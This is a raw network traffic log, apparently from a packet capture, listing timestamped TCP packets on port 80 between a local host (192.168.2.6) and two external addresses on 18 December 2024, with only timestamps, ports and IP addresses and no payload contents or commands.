Dec 18, 2024 12:00:28.732433081 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.732506990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.732547045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.733464956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.733513117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.733555079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.733614922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.734622002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.734711885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.734713078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.734749079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.735660076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.735709906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.735761881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.735810041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.736792088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.736836910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.736953974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.736994982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.738050938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.738101959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.738168001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.738205910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.738959074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.739023924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.739054918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.739089966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.740055084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.740102053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.740160942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.740205050 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.741173029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.741215944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.741255999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.741388083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.742235899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.742290974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.742474079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.742552042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.743379116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.743415117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.743427992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.743460894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.744482040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.744529963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.744600058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.744647026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.745522976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.745568991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.745634079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.745793104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.746660948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.746710062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.746773958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.746823072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.747741938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.747786999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.747867107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.747910023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.748919964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.748965025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.749032021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.749070883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.749907970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.750013113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.750022888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.750066042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.751204967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.751288891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.751306057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.751348972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.752266884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.752312899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.752356052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.752471924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.753319979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.753365040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.753521919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.753563881 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.754626036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.754729033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.754748106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.754796028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.755600929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.755661964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.755812883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.755867958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.756890059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.756932974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.757004976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.757046938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.757781982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.757826090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.757901907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.757941961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.758877993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.758922100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.759071112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.759114027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.760189056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.760235071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.760343075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.760384083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.761298895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.761394024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.761460066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.762275934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.762324095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.762375116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.762413025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.763237953 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.763284922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.763309002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.763355017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.764234066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.764278889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.764455080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.764497042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.765290976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.765342951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.765410900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.765453100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.766380072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.766422033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.766486883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.766529083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.767452002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.767497063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.767581940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.767637014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.768558979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.768605947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.768749952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.769180059 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.769802094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.769872904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.769912958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.769954920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.770739079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.770804882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.770905972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.770953894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.771994114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.772238970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.772299051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.773736000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.773781061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.773915052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.773960114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.775304079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.775350094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.775451899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.775499105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.776246071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.776288033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.776396990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.776437998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.777118921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.777164936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.777235985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.777278900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.778120041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.778165102 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.778243065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.778399944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.779386997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.779491901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.779555082 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.780596018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.780657053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.780695915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.781375885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.781430006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.781447887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.781487942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.782363892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.782407045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.782444954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.782520056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.783376932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.783420086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.783468962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.783512115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.784461975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.784507990 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.784662962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.785190105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.850960970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.851042032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.851103067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.851135015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.851341963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.851396084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.851440907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.851475000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.851942062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.851993084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.852042913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.852083921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.852699041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.852720976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.852751970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.852770090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.852996111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.853034973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.853105068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.853146076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.853625059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.853776932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.853832960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.854341984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.854393005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.854464054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.854501963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.855092049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.855143070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.855201006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.855242014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.856079102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.856128931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.856157064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.856339931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.856750965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.856801987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.856862068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.856916904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.857516050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.857563019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.857597113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.857635975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.858227015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.858275890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.858309031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.858349085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.858881950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.858930111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.859000921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.859114885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.859632969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.859688997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.859833002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.859879017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.860500097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.860546112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.860553026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.860616922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.861315012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.861386061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.861433983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.861470938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.862016916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.862068892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.862101078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.862267971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.862679958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.862736940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.862745047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.862852097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.863522053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.863574982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.863648891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.863684893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.864289045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.864336967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.864368916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.864404917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.865104914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.865154982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.865278006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.865323067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.865955114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.866069078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.866126060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.866780043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.866836071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.918828011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.918863058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.918916941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.918965101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.919123888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.919202089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.919215918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.919255972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.919997931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.920062065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.920130968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.920183897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.920985937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.921035051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.921134949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.921186924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.921892881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.921947002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.922043085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.922081947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.922969103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.923024893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.923099995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.923145056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.923695087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.924115896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.924185991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.924218893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.924262047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.924969912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.925018072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.925088882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.925168991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.925815105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.925932884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.926013947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.926063061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.927006960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.927145958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.927197933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.927908897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.928105116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.928143024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.928173065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.928849936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.928934097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.929013014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.929555893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.929590940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.929620981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.929634094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.930399895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.930536032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.930593967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.931283951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.931343079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.931375027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.931415081 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.932197094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.932261944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.932332039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.932382107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.933141947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.933193922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.933258057 CET	80	49950	185.215.113.16	192.168.2.6
